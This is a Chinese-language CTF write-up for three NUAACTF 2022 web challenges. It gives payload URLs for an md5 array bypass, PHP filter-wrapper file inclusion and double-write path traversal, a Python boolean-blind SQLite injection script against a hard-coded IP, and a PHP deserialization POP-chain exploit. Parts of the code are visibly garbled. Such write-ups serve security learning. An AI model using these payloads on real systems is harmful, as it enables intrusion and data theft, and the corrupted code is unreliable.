## **NUAACTF 2022 Web**

## ezlogin

界面是登录框,但是在HTML源码中已经给出了可以绕过登录的逻辑

```
<!-- if (md5($_GET['username']) === md5($_GET['password'])) + if ($_GET['username'] == $_GET['password']) --> <!-- you will get something cool! -->
```

利用神奇的md5的加密漏洞,由于md5函数不能加密数组,传入数组会报错并且会继续执行然后返回null,所以这里可以使用数组绕过,即

```
md5(a[]=1) === md5(b[]=1)
null === null
```

所以我们可以通过传递如下参数来通过第一个check

```
?username[]=1&password=2
```

然后来到setu阶段,我们可以通过url/setu.php?file=setu大概判断是文件包含,这里可以用php伪协议来读源码

```
setu.php?file=php://filter/convert.base64-encode/resource=setu
```

```
<?php
error_reporting(0);
if ( isset( $_GET['file'] ) ) {
    $str = str_replace("../","",$_GET['file']);

    if (strpos($str,'php://filter/convert.base64-encode/resource') !== false) {
        include ( $_GET['file'] . '.php');
    }
    else {
        include( "/var/www/html/" . $str . '.php' );
    }
}
else {
    header("Location: setu.php?file=setu");
    }
?>
```

因此我们可以大概猜测一下有什么文件可以看,后来也给了提示,这里尝试看hint得到flag的前半部分

```
setu.php?file=php://filter/convert.base64-encode/resource=hint
```

再根据提示,可以知道flag位于 /answer/flagggg.php

这里有两种方法可以看到

```
setu.php?file=php://filter/convert.base64-encode/resource=/answer/flagggg
```

二是利用刚刚看到的setu中的源码(猜测answer位于/var/html/www下), 目录穿越+双写绕过+文件包含

```
setu.php?file=....//....//answer/flagggg
```

## loginjection

考点: sqlite注入、bool盲注

登录框,注入点在id处 ?id=1 or 1=1 调整id可以依次看到一些提示是sqlite injection,并且 '# -- union 被过滤

sqlite中有一个系统记录表 sqlite\_master, 里面记录了表名和创造该表的sql语句,从而可以查出相关表名和字段名,最后再直接查flag

exp.py

```
import requests
import time
from requests.adapters import HTTPAdapter
base_url = 'http://121.5.230.65:2002/?id=1 AND '
sess = requests.session()
sess.mount('http://', HTTPAdapter(max_retries=3))
sess.mount('https://', HTTPAdapter(max_retries=3))
def get_flag():
            ret = ''
            while True:
                        for i in range(200):
                                     for j in range(33, 127):
                                                 payload = '(select substr((select tb1_name from sqlite_master
limit 1,1), \{0\},1))="\{1\}"'.format(i, chr(j))
                                                 table_payload = '(select substr((select tbl_name from
sqlite_master limit 1,1), \{0\},1)="\{1\}" & username=admin & password=admin'.format(i, mathematical mathematic
chr(j))
                                                  sql_payload = '(select substr((select sql from sqlite_master
limit 1,1), {0},1))="{1}"&username=admin&password=admin'.format(i, chr(j))
                                                 flag_payload = '(select substr((select ffllaaag from ffl4g limit
(0,1), (0), (1))="(1)"&username=admin&password=admin'.format(i, chr(j))
                                                 url = base_url + flag_payload
                                                  r = sess.get(url=url, timeout=5)
                                                  if 'admin' in r.text:
                                                              ret += chr(j)
                                                              print(ret)
get_flag()
```

## superezpop

考点:pop链 题目直接给出源码

```
<?php
error_reporting(0);
class User{
   public $username;
    public $password;
    public $variable;
    public $a;
    public function __construct()
        $this->username = "user";
        $this->password = "user";
   }
    public function __wakeup(){
        if( ($this->username != $this->password) && (md5($this->username) ===
md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
            echo "wuhu!";
            return $this->variable->xxx;
        }else{
            die("o^o");
   }
}
class Login{
    public $point;
    public function __get($key){
        $func = $this->point;
        return $func();
    }
}
class Read{
    public $filename;
    public function __invoke(){
        echo file_get_contents($this->filename.".php");
    }
}
if(isset($_GET['x'])){
    unserialize($_GET['x']);
}else{
    highlight_file(__FILE__);
}
?>
```

\_\_get(): 读取不可访问属性的值时会自动调用

\_invoke(): 当尝试以调用函数的方式调用一个对象时会被自动调用

在了解了php基本的魔法函数之后,我们可以有个基本的思路:

1. 在User类中,首先会调用 \_\_construct ,然后调用 \_\_wakeup ,那么在 \_\_wakeup 中,我们希望进入到第一个if中输出wuhu,即实现访问不可访问的属性,触发 \_\_get

如何满足第一个if的条件呢, 也是两个思路

- (1) 利用php原生类Error
- (2) 利用php中md5的加密缺陷
- 2. 接下来我们希望调用read类中的 \_\_invoke 去读取文件,那么在Login类的 \_\_get 函数中存在 \$func(),那么我们将一个对象赋给 \$point ,之后该对象会被复制给 \$func 并被调用,从而触发 \_\_invoke
- 3. 最后再利用伪协议读取flag

exp.php

```
<?php
class User{
   public $username;
   public $password;
   public $variable;
   public $a;
}
class Login{
   public $point;
    public $function;
}
class Read{
    public $filename;
$read = new Read();
$user = new User();
$login = new Login();
// 方法一:
a = \text{new Error}(str, 1); = \text{new Error}(str, 2);
$user->username = $a;
$user->password = $b;
/*
方法二:
a = array("1");
$b = array("2");
$user->username = $a;
$user->password = $b;
*/
$read->filename = "php://filter/read=convert.base64-encode/resource=flag";
$login->point = $read;
```

```
$user->variable = $login;
echo(urlencode(serialize($user)));
?>
```